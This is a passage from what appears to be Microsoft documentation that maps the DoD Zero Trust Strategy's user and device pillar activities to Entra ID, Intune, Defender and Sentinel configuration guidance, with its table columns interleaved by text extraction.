supporting process are developed and followed by the Connect Cloud Sync. Note: Don’t
DoD Organizations. Utilizing the centralized or federated synchronize privileged Active
Identity Provider (IdP) and Identity & Access Directory accounts, or assign
Management (IdAM) solutions, DoD Organizations privileged cloud roles, to synchronized
implement the Enterprise Lifecycle Management process accounts.
for the maximum number of identities, groups, and - Connect Sync
permissions. Exceptions to the policy are managed in a - Cloud Sync
risk based methodical approach. - Protect Microsoft 365 from on-
premises attacks
Outcomes: - Reduce attack surface area
- Automated Identity Lifecycle Processes
- Integrated with Enterprise ICAM process and tools Privileged Identity Management
Manage administrative access with
PIM. Establish an access review
cadence for privileged Microsoft Entra
and Azure roles.
- Privileged accounts
Microsoft Entra authentication

recommendations
methods
Use cloud-based phishing-resistant
MFA methods. Set up Microsoft Entra
certificate-based authentication (CBA)
with DoD Common Access Cards
(CACs) to register other passwordless
credentials.
Advanced 1.5.3 Enterprise Identity Life-Cycle Microsoft Entra ID Governance

Management Pt2 Use entitlement management and
DoD Organizations further integrate the critical access reviews to manage your
automation functions of the Identity Provider (IdP) and organization’s user access lifecycles
Identity, Credential and Access Management (ICAM) and external guest identity lifecycles.
solutions following the Enterprise Lifecycle Management - Entitlement management
process to enable Enterprise automation and analytics. - External user access governance
Identity Lifecycle Management primary processes are
integrated into the cloud-based Enterprise ICAM Managed identities
solution. Use managed identities for Azure
resources and Workload ID federation
Outcomes: to reduce the risk of managing
- Integration w/ Critical IDM/IDP functions application credentials.
- Primary ILM functions are cloud based - Managed identities
- Workload identity federation
Application management policy

Configure app management policies
to control the credential types added
to applications in your tenant. Use the
passwordAddition restriction to
require certificate credentials for
applications.
- App methods API
- App authentication certificate
credentials
Advanced 1.5.4 Enterprise Identity Life-Cycle Microsoft Entra app provisioning

Management Pt3 Use Microsoft Entra app provisioning
DoD Organizations integrate remaining Identity Lifecycle to synchronize identities to SCIM, SQL,
Management processes with the Enterprise Identity, LDAP, PowerShell, and web services
Credential and Access Management solution. applications. Use the API-driven app
Enclave/DDIL environments while still authorized to to provision users into disparate
operate integrate with the Enterprise ICAM using local Active Directory instances.
connectors to the cloud environment. - Provision apps
recommendations
- On-premises app provisioning

Outcomes: - Configure API-driven provisioning
- All ILM functions moved to cloud as appropriate app
- Integration with all IDM/IDP functions
1.6 Behavioral, contextual ID, and biometrics

Microsoft Entra ID Protection helps you detect, remediate, and prevent identity threats
by using machine learning (ML) and threat intelligence. This feature detects real-time
risks during user sign-in and offline risks calculated over time. Risks include token
anomalies, unusual sign-in properties, impossible travel, suspicious user behavior, and
more.
Identity protection is integrated with Microsoft Defender XDR to show identity risks
detected by other components in the Microsoft Defender product family.
To learn more, see What are risk detections?
ﾉ Expand table
DoD Activity Description and Outcome Microsoft guidance and recommendations
Target 1.6.1 Implement User & Entity Behavior Microsoft Entra ID Protection
Analytics Deploy Microsoft Entra ID Protection to get
(UEBA) and User Activity Monitoring (UAM) real-time and offline risk detentions for users
tooling DoD Organizations procure and and sign-in events. Extend identity risk
implement User & Entity Behavior Analytics detections to application identities (Service
(UEBA) and User Activity Monitoring (UAM) Principals) using Microsoft Entra Workload ID,
solutions. Initial integration point with Enterprise Workload Identities Premium edition.
IdP is completed enabling future usage in - Secure workload identities
decision making. - Risk-based policy for workload identities
Outcome: See Microsoft guidance in 1.3.3.

- UEBA and UAM functionality is implemented
for Enterprise IDP Microsoft Defender for Cloud Apps
Deploy Defender for Cloud Apps and
configure integrations with Microsoft
Defender for Endpoint and external solutions.
Configure anomaly detection policies in
Defender for Cloud Apps.
- Integrate Defender for Endpoint with
- External solution integrations
- Detect suspicious user activity with UEBA

Onboard endpoints to Defender for Endpoint.
Configure integrations between Defender for
Endpoint and Microsoft Intune.
- Defender for Endpoint and other solutions
Microsoft Intune
Configure integrations with Defender for
Endpoint and use Defender for Endpoint
machine risk score in your device compliance
policy.
- Defender for Endpoint rules
Conditional Access
Create Conditional Access policies to require
compliant devices. Before access is granted,
the control requires a device marked as
compliant in Microsoft Intune. Integration
between Defender for Endpoint and Intune
provides an overall picture of device health
and risk level based on the compliance state.
- Compliance policies to set rules for Inune
managed devices
Microsoft Sentinel
Connect data sources to Sentinel and enable
UEBA for audit logs, sign-in logs, Azure
activity, and security events.
- Enable UEBA
- Advanced threats with UEBA
Advanced 1.6.2 User Activity Monitoring Pt1 Privileged Identity Management

DoD Organizations integrate User & Entity Deploy PIM and onboard privileged roles.
Behavior Analytics (UEBA) and User Activity Define authentication context for privileged
Monitoring (UAM) solutions with Organizational access. Use risk conditions in the
Identity Providers (IdP) for extended visibility as authentication context and configure PIM role
needed. Analytics and data generated by UEBA settings to require authentication context
and UAM for critical applications and services are upon activation.
integrated with the Just-in-Time and Just-
Enough-Access solution improving decision See Microsoft guidance in 1.4.4.
making further.
Microsoft Sentinel
Outcomes: Connect data sources to Sentinel and enable
- UEBA is integrated with Org IDPs as UEBA for audit logs, sign in logs, Azure
appropriate activity, and security events.
- UEBA is integrated with JIT/JEA for critical - Enable UEBA

services - Advanced threats with UEBA

Monitor and control sessions to cloud
applications with Defender for Cloud Apps.
- Protect apps with App Control
- Session policies
- Investigate risky users
Advanced 1.6.3 User Activity Monitoring Pt2 Privileged Identity Management

DoD Organizations continue the analytics usage Use PIM for Groups to extend just-in-time
from User & Entity Behavior Analytics (UEBA) and (JIT) access to applications using app roles.
User Activity Monitoring (UAM) solutions by Assign groups, managed by PIM, to the
using generated data for all monitored privileged app roles.
applications and services when decision making - PIM for Groups
occurs in the Just-in-Time and Just-Enough- - Add app roles to an app
Access solution.
Outcome:
- UEBA/Entity Monitoring is integrated with
JIT/JEA for all services
1.7 Least privileged access

Access to applications using Microsoft Entra ID is deny-by-default. Microsoft Entra ID
Governance features like entitlement management and access reviews ensure access is
time-bound, aligns to the principle of least privilege, and enforces controls for
separation of duties.
Use Microsoft Entra built-in roles to assign least privilege permissions by task.
Administrative Units let you scope resource-based permissions for Microsoft Entra ID
users and devices.
Microsoft Entra Permissions Management and custom Azure roles help organizations
analyze cloud permission use, create, and assign least-privilege roles.
ﾉ Expand table

recommendations
Target 1.7.1 Deny User by Default Policy Microsoft Entra ID

DoD Organizations audit internal user and group Review and restrict default user and guest
recommendations
usage for permissions and revoke permissions when permissions in Microsoft Entra ID. Restrict
possible. This activity includes the revocation and/or user consent to applications and review
decommission of excess permissions and access for current consent in your organization.
application/service-based identities and groups. - Default user permissions
Where possible static privileged users are - Restrict user consent permissions
decommissioned or reduced permissions preparing
for future rule/dynamic based access. Microsoft Entra applications
Access to Microsoft Entra apps is denied
Outcomes: by default. Microsoft Entra ID verifies
- Applications updated to deny by default to entitlements and applies Conditional
functions/data requiring specific roles/attributes for Access policies to authorize resource
access access.
- Reduced default permissions levels are - Integrate apps
implemented - App integration
- Applications/services have reviewed/audited all
privileged users and removed those users who don't Microsoft Entra ID Governance
need that level of access Use the entitlement management identity
governance feature to manage identity
and access lifecycles. Find automated
access request workflows, access
assignments, reviews, and expiration.
- Entitlement management
- Access reviews
Custom roles
Use Microsoft Entra ID built-in roles for
resource management. However, if roles
don’t meet organizational needs, or to
minimize privileges for your administrative
users, create a custom role. Grant custom
roles granular permissions to manage
users, groups, devices, applications and
more.
- Custom roles
Administrative units
An administrative unit is a Microsoft Entra
resource that contains other Microsoft
Entra resources, such as users, groups, or
devices. Use administrative units to
delegate permissions to a subset of
administrators, based on organizational
structure.
- Administrative units
- Restricted management administrative
units
- Create or delete administrative units
recommendations
Microsoft Entra Permissions

Management
Enable Permissions Management, the
cloud infrastructure entitlement
management (CIEM) solution. Use the
solution for visibility into permissions
assigned to identities across clouds in
your enterprise, not just the Microsoft
cloud.
- Permissions Management
- Permissions Management on a tenant
- Onboard an Azure subscription
- Onboard AWS accounts
- GCP projects
Privileged Identity Mangement

Use PIM Discovery and Insights to manage
privileges and reduce the number of
administrators. Configure PIM alerts when
privileged roles are assigned outside PIM.
- Privileged access for hybrid and cloud
- Security alerts for Microsoft Entra roles
- Security alerts for Azure roles

Review permissions granted to
applications. Investigate risky OAuth
applications in Defender for Cloud Apps.
- Review permissions granted to apps
- Investigate risky OAuth apps
Microsoft Sentinel
Use PIM to assign Azure roles for Sentinel
access and periodically audit queries and
activities.
- Audit queries and activities
1.8 Continuous authentication

Microsoft Entra ID uses short- and long-lived tokens to authenticate users periodically
to applications and services that Microsoft Entra protects. Microsoft Entra ID has the
Continuous access evaluation (CAE) mechanism to improve the standard protocol. The
policy engine responds to environmental changes in near-real-time and enforces
adaptive access policies.
ﾉ Expand table
Target 1.8.1 Single Authentication Microsoft Entra ID

DoD Organizations employ basic Microsoft Entra ID is a centralized identity
authentication processes to authenticate users provider (IdP) that facilitates single sign-on
and NPEs at least once per session (e.g., (SSO) between Microsoft cloud applications and
logon). Importantly users being authenticated applications your organization uses.
are managed by the parallel activity - Microsoft Entra ID
"Organizational MFA/IDP" with the
Organizational Identity Provider (IdP) versus Single sign-on
using application/service-based identities and The single sign-on (SSO) authentication method
groups. allows users to use their Microsoft Entra ID
credentials to authenticate applications and
Outcome: services. The apps can be SaaS, custom line-of-
- Authentication Implemented across business applications, or on-premises
applications per session applications. Use Microsoft Entra authentication
and Zero Trust capabilities to enable secure and
easy access to applications.
- What is SSO?
- Microsoft Entra integrations with
authentication protocols
Microsoft Entra app provisioning

Microsoft Entra app provisioning creates,
updates, and removes user, roles, and groups in
SaaS applications, and custom or on-premises
applications. Use Microsoft Entra ID as the
centralized identity source for apps. Minimize
application or service identities and users.
- Automated provisioning
- App provisioning
Microsoft Entra ID Workload

Service Principals and managed identities are
nonperson entity (NPE) identities in Microsoft
Entra. Use Service Principals for automated
(non-interactive) access to APIs protected by
Microsoft Entra.
- Workload identities
- Service Principals in Microsoft Entra ID
Target 1.8.2 Periodic Authentication Microsoft Entra applications

DoD Organizations enable period Microsoft Entra applications automatically
authentication requirements for applications manage session refresh without user interaction.
and services. Traditionally these are based on
duration and/or duration timeout but other See Microsoft guidance in 1.8.1.
period-based analytics can be used to
mandate re-authentication of user sessions. Conditional Access
Configure the sign-in frequency session control
Outcome: in Conditional Access to re-authenticate user
- Authentication implemented multiple times sessions. Use the feature when sign-ins are risky,
per session based on security attributes or a user device is unmanaged or non-
compliant.
- Configure authentication session management
- Access policies in Defender for Cloud Apps
Advanced 1.8.3 Continuous Authentication Pt1 Continuous access evaluation

DoD Organizations’ applications/service utilize CAE is based on an OpenID standard that
multiple session authentications based on improves time-based token expiration and
security attributes and access requested. refresh mechanisms to achieve a timelier
Privilege changes and associational response to policy violations. CAE requires a
transaction requests required additional levels fresh access token in response to critical events,
of authentication such as Multi-Factor like a user moving from a trusted network
Authentication (MFA) pushes to users. location to one that’s untrusted. Implement CAE
with client applications and the back-end service
Outcome: APIs.
- Transaction authentication implemented per - Continuous access evaluation
session based on security attributes - Critical event evaluations
Microsoft Office applications that use Microsoft

Graph API, Outlook Online API, and SharePoint
Online API support CAE. Develop applications
with the latest Microsoft Authentication Libraries
(MSAL) to access CAE-enabled APIs.
- CAE for Microsoft 365
- CAE enabled APIs in apps
Conditional Access
Define and use Conditional Access
authentication context to protect sensitive
SharePoint sites, Microsoft Teams, Microsoft
Defender for Cloud Apps protected applications,
PIM role activation, and custom applications.
- Authentication context
- Policy for SharePoint sites and OneDrive
- Session policies in Defender for Cloud Apps
- Require authentication context for PIM roles
- Authentication context guidance
Use protected actions to add another layer of

protection when administrators perform actions
requiring highly privileged permissions in

Microsoft Entra ID, like manage Conditional
Access policies and cross-tenant access settings.
Protect user actions like registering security info
and joining devices.
- Protected actions
- Target resource

Require authentication context for PIM role
activation.
Advanced 1.8.4 Continuous Authentication Pt2 Microsoft Entra ID Protection

DoD Organizations continue usage of When Microsoft Entra ID Protection detects
transaction-based authentication to include anomalous, suspicious, or risky behavior, the
integration such as user patterns. user risk level increases. Create Conditional
Access policies using risk conditions, increasing
Outcome: protections with risk level.
- Transaction authentication implemented per - Risk detections
session based on security attributes, including
user patterns See Microsoft guidance in 1.3.3.

Risk level increase is a critical CAE event.
Services that implement CAE, for example
Exchange Online API, require the client
(Outlook), to re-authenticate for the next
transaction. Conditional Access policies for the
increased risk level are satisfied before Microsoft
Entra ID issues a new access token for Exchange
Online access.
- Critical event evaluation
1.9 Integrated ICAM platform

Microsoft Entra ID supports certificate authentication with certificates issued by an
external public key infrastructure (PKI) for user and nonperson entities (NPE). NPEs in
Microsoft Entra ID are application and device identities. Microsoft Entra External ID
cross-tenant access settings help multitenant organizations, like the DoD, collaborate
seamlessly across tenants.
ﾉ Expand table
Target 1.9.1 Enterprise PKI/IDP Pt1 Microsoft Entra ID authentication methods

The DoD Enterprise works with Organizations Use authentication methods policy in Microsoft
to implement Enterprise Public Key Entra ID to control user authentication methods.
Infrastructure (PKI) and Identity Provider (IdP) - Microsoft Entra CBA
solutions in a centralized and/or federated
fashion. The Enterprise PKI solution utilizes a See Microsoft guidance in 1.3.1.
single or set of Enterprise level Root Certificate
Authorities (CA) which can then be trusted by Authentication strength
Organizations to build Intermediate CA’s off. Use authentication strength to control user
The Identity Provider solution may either be a access to resources.
single solution or federated set of - Authentication strength
Organizational IdPs with standard level of
access across Organizations and standardized Microsoft Entra External ID
set of attributes. Organizations’ IdPs and PKI Configure cross-tenant access for DoD Microsoft
Certificated Authorities are integrated with the Entra ID tenants. Use trust settings to accept
Enterprise IdP and PKI solutions. MFA and compliant device claims for external
identities from trusted DoD tenants.
Outcomes: - Cross-tenant access
- Components are using IdP with MFA for all
applications/services Application management policy
- Organizational MFA/PKI integrated with The tenant app management policy is a
Enterprise MFA/PKI framework to implement security best practices
- Organizational Standardized PKI for all for applications in the tenant. Use the policy to
services restrict application credentials to certificates
issued by a trusted PKI.
To create a certificate chain of trust, add a new

certificate authority (CA) collection to
intermediate and root CA certificates for your
enterprise PKI.
- certificateBasedApplicationConfiguration
resource type
To create an application management policy to

require certificates issued by trusted CAs,
configure restrictions to disallow
passwordAddition and require
trustedCertificateauthority. Specify the trusted
CA collection ID you created.
- App authentication methods API
Microsoft Intune
Intune supports private and public-key
cryptography standards (PKCS) certificates.
- PKCS certificates
Advanced 1.9.2 Enterprise PKI/IDP Pt2 Microsoft Entra ID

DoD Organizations enable Biometric support Microsoft supports biometrics in several
in the Identity Provider (IdP) for mission/task- components compatible with Microsoft Entra ID
critical applications and services as authentication.
appropriate. Biometric functionality is moved
from Organizational solutions to the Authentication methods
enterprise. Organizational Multi-Factor (MFA) Microsoft Entra ID supports hardware passkeys
and Public Key Infrastructure (PKI) is (FIDO2 security keys) that use presence or
decommissioned and migrated to the fingerprint.
Enterprise as appropriate. - FIDO security keys
Outcomes: Windows Hello for Business

- Critical Organizational Services Integrated w/ Windows Hello for Business uses biometric
Biometrics gestures like fingerprint and face scan.
- Decommission organizational MFA/PKI as - Identity protection profile settings
appropriate in lieu of enterprise MFA/PKI
- Enterprise Biometric Functions Implemented MacOS
MacOS devices have biometrics, like Touch ID, to
sign in with a device-bound credential.
- SSO plug-in for Apple devices
Microsoft Authenticator
Mobile devices and Authenticator use touch and
face for passwordless authentication. Passkey
support is another phishing-resistant
authentication method in Authenticator.
- Authenticator
- Passwordless sign-in
- Enhanced phishing-resistant authentication
Advanced 1.9.3 Enterprise PKI/IDP Pt3 Microsoft Entra Verified ID

DoD Organizations integrate the remaining Decentralized identity scenarios using Verified ID
applications/services with Biometrics can require face verification upon credential
functionalities. Alternative Multi-Factor (MFA) presentation.
tokens can be used. - Verfied ID
- Face Check
Outcome:
- All Organizational Services Integrate w/
Biometrics
Next steps
Introduction
User
Device
Data
Network
Feedback
DoD Zero Trust Strategy for the device
pillar
Article • 05/08/2024
Introduction
User
Device
Data
Network
2 Device
in the device pillar. To learn more, see Securing endpoints with Zero Trust.
2.1 Device inventory

Microsoft Intune and Microsoft Defender for Endpoint configure, assess health, and
discover software vulnerabilities for devices. Use Microsoft Entra ID and Microsoft Intune
integration to enforce compliant device policies for resource access.
ﾉ Expand table
recommendations
Target 2.1.1 Device Health Tool Gap Analysis Microsoft Entra ID

DoD Organizations develop a manual inventory of Register end user devices with Microsoft
devices within the environment. Device attributes Entra ID and manage device identities
tracked in the inventory enable functionality outlined from the Microsoft Entra Admin
in the ZTA target level. Center . The Devices Overview page
tracks device assets, management state,
Outcome: operating system, join type, and owner.
- Manual inventory of devices is created per - Registered devices
organization with owners - Hybrid joined devices
- List devices
- Manage device identities
Microsoft Entra Connect Sync

Use Connect Sync to synchronize Active
Directory managed devices with
Microsoft Entra ID.
- Hybrid joined devices
Microsoft Intune
View device information about managed
devices from the Microsoft Intune admin
center. Retrieve diagnostics from
Windows devices using the Collect
diagnostics remote action.
- Device details
- Windows device diagnostics
Microsoft Endpoint Configuration

Manager
Use co-management to attach a
Configuration Manager deployment to
the Microsoft 365 cloud.
- Co-management

View devices protected by Defender for
Endpoint in the Microsoft Defender
portal.
- Device inventory
Target 2.1.2 NPE/PKI, Device under Management Microsoft Intune

DoD Organizations utilize the DoD Enterprise PKI Add Intune Certificate Connector for
solution/service to deploy x509 certificates to all certificate provisioning on endpoints.
supported and managed devices. Additional other - Certificate connector
Nonperson Entities (NPEs) that support x509 - Certificates for authentication
certificates are assigned in the PKI and/or IdP systems.
recommendations
Use Intune network profiles to help

Outcome: managed devices authenticate to your
- Nonperson entities are managed via Org PKI and network. Add a Simple Certificate
Org IDP Enrolment Protocol (SCEP) certificate.
- Device Wi-Fi settings
- Windows device wired network settings
Integrate Intune with network access

control (NAC) partners to secure your
data when devices access on-premises
resources.
- NAC integration

Configure the tenant app management
policy to restrict application credentials
to certificates issued by enterprise PKI.
See Microsoft guidance 1.9.1 in User.
Azure IoT Hub

Configure Azure IoT Hub to use and
enforce X.509 authentication.
- Authenticate identities with x509
certificates

If your organization hosts its PKI with
Active Directory Certificate Services (AD
CS), deploy Defender for Identity
sensors, and configure auditing for AD
CS.
- AD CS sensor
- Configure audits for AD CS
Target 2.1.3 Enterprise IDP Pt1 Microsoft Entra joined devices

The DoD eterprise Identity Provider (IdP) either using registration
a centralized technology or federated organizational Use Microsoft Entra joined devices for
technologies integrates Non-Person Entities (NPEs) new and re-imaged Windows client
such as devices and service accounts. Integration is devices. Microsoft Entra joined devices
tracked in the Enterprise Device Management solution have an improved user experience for
when applicable as to whether it is integrated or not. sign-in to cloud apps like Microsoft 365.
NPEs unable to be integrated with the IdP are either Users access on-premises resources
marked for retirement or excepted using a risk based using Microsoft Entra joined devices.
methodical approach. - Joined devices
- SSO to on-premises resources on
recommendations
Outcome: joined devices

- NPEs including devices are integrated with
Enterprise IdP Microsoft Intune
Set up automatic enrollment for
Windows 10 or 11 devices joined to a
Microsoft Entra tenant.
- Automatic enrollment
Microsoft Entra Connect Sync

If your organization synchronizes Active
Directory with Microsoft Entra ID using
Connect Sync. To automatically register
devices with Microsoft Entra ID,
configure hybrid joined devices.
- Hybrid joined devices
Microsoft Entra applications

Register applications with Microsoft
Entra and use Service Principals for
programmatic access to Microsoft Entra
and protected APIs like Microsoft Graph.
Configure app management policies to
restrict application credential types.
See Microsoft guidance 2.1.2.
Microsoft Entra Workload ID

Use workload identity federation to
access Microsoft Entra protected
resources in GitHub actions, and other
supported scenarios.
- Workload identity federation
Managed identities
Use managed identities for supported
Azure resources and Azure Arc-enabled
VMs.
- Managed identities for Azure resources
- Azure Arc-enabled servers
Azure IoT Hub

Use Microsoft Entra ID to authenticate
requests to Azure IoT Hub service APIs.
- Control access to IoT Hub
recommendations
Advanced 2.1.4 Enterprise IDP Pt2 Microsoft Defender for Endpoint

The DoD enterprise Identity Provider (IdP) either using Deploy Defender for Endpoint to end
a centralized technology or federated organizational user desktop devices, managed mobile
technologies adds additional dynamic attributes for devices, and servers.
NPEs such as location, usage patterns, etc. - Onboard devices
- Defender for Endpoint on devices with
Outcome: Intune
- Conditional device attributes are part of the IdP - Onboard Windows servers
profile
Microsoft Intune
Manage end user devices with Intune.
Configure Intune compliance policies for
managed devices. Include Microsoft
Defender for Endpoint machine risk
score in Intune compliance policies.
- Plan compliance policies
- Compliance policy for device risk level
- Custom compliance policies
- Configure Windows devices in Intune
- Android Enterprise security
configuration
- iOS and iPadOS devices in Intune
If your organization uses a third-party

Mobile Threat Defense (MTD) solution,
configure the Intune connector.
- MTD configuration
Mobile app management

Use Intune MAM for unenrolled devices
to configure and secure apps for bring
your own devices (BYOD).
- App management
2.2 Device detection and compliance

Microsoft Intune compliance policies ensure devices comply with organizational
standards. Compliance policies can assess device configuration against a security
baseline. Policies use Microsoft Defender for Endpoint protection state, and machine risk
score, to determine compliance. Conditional Access uses device compliance state to
make dynamic access decisions for users and devices, including bring-your-own-devices
(BYOD).
ﾉ Expand table

recommendations
Target 2.2.1 Implement C2C/Compliance Based Microsoft Intune

Network Authorization Pt1 Manage devices with Intune and
The DoD enterprise working with the Organizations configure device compliance policies. Use
develops a policy, standard, and requirements for Intune mobile application management
Comply to Connect. Once agreement is reached, (MAM) to secure apps on un-enrolled
solution procurement is started, a vendor(s) is BYOD.
selected, and implementation begins with base level
functionality in ZT Target environments (low risk). See Microsoft guidance in 2.1.4.
Base level checks are implemented in the new
Comply to Connection solution enabling the ability to Conditional Access
meet ZTA target functionalities. Use Intune-compliant device signals,
location, and sign-in risk signals in
Outcomes: Conditional Access policies. Use device
- C2C is enforced at the enterprise level for low risk filters for Conditional Access policies,
and testing environments based on device attributes.
- Basic devices checks are implemented using C2C - Require compliance devices
- Conditions
- Filter for devices
- Conditional Access with Intune
Microsoft Entra Workload ID

Create Conditional Access policies for
workload identities using risk and
location controls.
- Conditional Access for workload
identities
- Secure workload identities
Advanced 2.2.2 Implement C2C/Compliance Based Microsoft Entra applications

Network Authorization Pt2 Integrate applications and govern user
DoD Organizations expand the deployment and access with Microsoft Entra ID.
usage of Comply to Connect to all supported
environments required to meet ZT advanced See Microsoft guidance 1.2.4 in User.
functionalities. Comply to Connect teams integrate
their solution(s) with the Enterprise IdP and Microsoft Intune and Microsoft
Authorization Gateways to better manage access and Defender for Endpoint
authorizations to resources. Manage devices with Intune, deploy
Defender for Endpoint, and configure a
Outcomes: device-compliance policy using Defender
- C2C is enforced in all supported environments for Endpoint machine risk score.
- Advanced devices checks are completed and
integrated with dynamic access, enterprise IdP and See Microsoft guidance 2.1.4 in this
ZTNA. section.
Conditional Access
recommendations
Create Conditional Access policies

requiring compliant device for application
access.

Deploy application proxy or a secure
hybrid access (SHA) partner solution to
enable Conditional Access for on-
premises and legacy applications through
the Zero Trust Network Access (ZTNA).
- SHA with Microsoft Entra integration
Microsoft Tunnel
Tunnel is a virtual private network (VPN)
gateway solution for Intune-managed
devices and un-enrolled devices with
Intune-managed apps. Tunnel uses
Microsoft Entra ID for authentication and
Conditional Access policies for mobile
device access to on-premises
applications.
- Tunnel for Intune
2.3 Device authorization with real time

inspection
Conditional Access is the Zero Trust policy engine for Microsoft cloud products and
services. Evaluating Zero Trust policies at the IdP advances the comply-to-connect (C2C)
model by applying adaptive controls before resource access. Conditional Access policies
use security signals from Microsoft Entra ID, Microsoft Defender XDR, and Microsoft
Intune.
Microsoft Defender XDR components assess device and identity risk levels by using
machine learning (ML) detections, and by enabling dynamic, risk-based decisions to
allow, block, or control access to data, applications, assets, and services (DAAS).
ﾉ Expand table
recommendations
Advanced 2.3.1 Entity Activity Monitoring Pt1 Microsoft Intune and Microsoft
Using the developed User and Device baselines, DoD Defender for Endpoint
Organizations utilize the implemented User and Entity Manage devices with Intune, deploy
Behavioral Activity (UEBA) solution to integrate Defender for Endpoint, and configure a
baselines. UEBA device attributes and baselines are device compliance policy using
available to be used for device authorization Defender for Endpoint machine risk
detections. score.
Outcomes: See Microsoft guidance in 2.1.4.

- UEBA attributes are integrated for device baseline
- UEBA attributes are available for usage with device Conditional Access
access Create Conditional Access policies that
require compliant device for application
access.

Configure Conditional Access policies
for identity risk levels in Microsoft Entra
ID Protection.
Advanced 2.3.2 Entity Activity Monitoring Pt2 Conditional Access

DoD Organizations utilize the User and Entity Use Intune-compliant device state,
Behavioral Activity (UEBA) solution with network access location, and identity risk signals in
solutions to mandate UEBA attributes (e.g., device Conditional Access policies. Use device
health, logon patterns, etc.) for accessing environments filters to target Conditional Access
and resources. policies based on device attributes.
Outcome: See Microsoft guidance in 2.2.1 and in

- UEBA attributes are mandated for device access 2.3.1.
Target 2.3.3 Implement Application Control & File Microsoft Defender for Endpoint
Integrity Monitoring (FIM) Tools Defender for Endpoint aggregates
DoD Organizations procure and implement File signals from File Integrity Monitoring
Integrity Monitoring (FIM) and Application Control (FIM), Application Control, Next
solutions. FIM continues development and expansion Generation Antivirus (NGAV), and more
of monitoring in the Data Pillar. Application Control is for machine risk score.
deployed to low-risk environments in a monitor only - Next-generation protection
mode establishing baseline allowances. Application - Antivirus for managed devices
control teams being integration with the Enterprise and - Controlled folder access
Organization PKI environments utilize certificates for
application allowances. NextGen AV covers all possible Microsoft Intune
recommendations
services and applications Configure App Control enpoint security

policies in Microsoft Intune.
Outcomes: - Approved apps with App Control for
- AppControl and FIM tooling is implemented on all Business
critical services/applications - Windows Defender AppControl policy
- EDR tooling covers the maximum amount of and file rules
services/applications
- AppControl and FIM data is sent to C2C as needed Conditional Access
To achieve the comply-to-connect
(C2C) model, integrate applications
with Microsoft Entra ID and require
compliant device grant control in
Conditional Access.
Advanced 2.3.4 Integrate NextGen AV Tools C2C Microsoft Intune

DoD Organizations procure and implement Next Create device-compliance policies for
Generation Anti-Virus & Anti-Malware solutions as antivirus and Microsoft Defender for
needed. These solutions are integrated with the initial Endpoint machine risk score.
deployment of Comply to Connect for baseline status - Antivirus policy for endpoint security
checks of signatures, updates, etc.
Outcomes:
- Critical NextGen AV data is being sent to C2C for
checks
- NextGen AV tooling is implemented on all critical
Advanced 2.3.5 Fully Integrate Device Security stack Complete activity 2.3.4.
with C2C as appropriate
DoD Organizations continue the deployment of Microsoft Defender for Cloud Apps
Application Control to all environments and in Identify and control risky cloud
prevention mode. File Integrity Monitoring (FIM) and applications with Defender for Cloud
Application Controls analytics are integrated into Apps policies.
Comply to Connect for expanded access decision - Control cloud apps with policies
making data points. Comply to Connect analytics are
evaluated for further device/endpoint security stack
data points such as UEDM and are integrated as
necessary.
Outcomes:
- AppControl and FIM deployment is expanded to all
necessary services/applications
- Remaining data from Device Security tooling is
recommendations
implemented with C2C
Advanced 2.3.6 Enterprise PKI Pt1 Microsoft Intune

The DoD Enterprise Public Key Infrastructure (PKI) is Use Microsoft Intune to deploy DoD
expanded to include the addition of NPE and device PKI certificates to devices.
certificates. NPEs and devices that do not support PKI
certificates are marked for retirement and See Microsoft guidance in 2.1.2.
decommission starts.
Outcomes: Configure the tenant app management
- Devices that are unable to have certificates are policy to restrict application credentials
phased out and/or moved to minimal access to certificates issued by enterprise PKI.
environments
- All devices and NPEs have certs installed for See Microsoft guidance 1.5.3 in User.
authentication in the Enterprise PKI
Configure access policies to require
client certificates for application access
and to block unauthorized device
access.
- Access policies
Advanced 2.3.7 Enterprise PKI Pt2 Microsoft Intune and Conditional

DoD Organizations utilize certificates for device Access
authentication and machine to machine Integrate applications with Microsoft
communications. Unsupported devices complete Entra ID, manage devices with Intune,
retirement and exceptions are approved using a risk protect devices with Microsoft
based methodical approach. Defender for Endpoint, and configure
compliance policies. Include a
Outcome: compliance policy for Defender for
- Devices are required to authenticate to communicate Endpoint machine risk score. Require
with other services and devices compliant grant control in Conditional
access policies.
2.4 Remote access

Microsoft Entra ID is a deny-by-default identity provider (IdP). If you use Microsoft Entra
for application sign-in, users authenticate and pass Conditional Access policy checks
before Microsoft Entra authorizes access. You can use Microsoft Entra ID to protect
applications hosted in the cloud or on-premises.
ﾉ Expand table

recommendations
Target 2.4.1 Deny Device by Default Microsoft Entra ID applications

DoD Organizations block all unmanaged remote Access to applications and resources
and local device access to resources. Compliant protected by Microsoft Entra ID is denied
managed devices are provided risk based by default. Resource access requires
methodical access following ZTA target level authentication, active entitlement, and
concepts. authorization by Conditional Access
policies.
Outcomes: - Integrate apps
- Components can block device access by default to - App integration
resources (apps/data) and explicitly allow compliant
devices per policy Microsoft Intune
- Remote Access is enabled following a "deny Manage devices with Intune. Configure
device by default policy" approach device compliance policies. Require
compliant device in Conditional Access
policies for all users and applications.
Target 2.4.2 Managed and Limited BYOD & IOT Complete activity 2.4.1.
Support
DoD Organizations utilize Unified Endpoint and Microsoft Intune
Device Management (UEDM) and similar solutions Use Intune device management and
to ensure that managed Bring Your Own Device mobile application management to bring
(BYOD) and Internet of Things (IoT) devices are fully your own device (BYOD).
integrated with Enterprise IdP enable user and - Mobile app management for unenrolled
device-based authorization are supported. Device devices
access for all applications requires dynamic access - App protection policies
policies.
Conditional Access
Outcomes: Require compliant device and/or app
- All applications require dynamic permissions protection policy in Conditional Access for
access for devices all users and applications.
- BYOD and IOT device permissions are baselined - Approved client app or app protection
and integrated with Enterprise IDP policy
- App protection policy on Windows
devices
Microsoft Entra External ID

Configure cross-tenant access settings to
trust compliant device controls from
trusted partners.
- Cross-tenant access settings for B2B
collaboration
recommendations

Deploy Defender for IoT sensors for
visibility, also to monitor and protect IoT
and operational technology (OT) devices.
Ensure device software is up to date and
change local passwords. Don’t use default
passwords.
- Defender for IoT
- IoT and OT security with Zero Trust
- US National Cybersecurity Strategy to
secure IoT
Advanced 2.4.3 Managed and Full BYOD & IOT Complete activity 2.4.2.
Support Pt1
DoD Organizations utilize Unified Endpoint and Microsoft Defender for Cloud Apps
Device Management (UEDM) and similar solutions Configure access policies to require client
to enable access for managed and approved certificates for application access. Block
devices to Mission and Operational Critical access from unauthorized devices.
services/applications using dynamic access policies.
BYOD and Internet of Things (IoT) devices are See Microsoft guidance in 2.3.6.
required to meet standard baseline checks before
authorization.
Outcomes:
- Only BYOD and IOT devices that meet mandated
configuration standards allowed to access resources
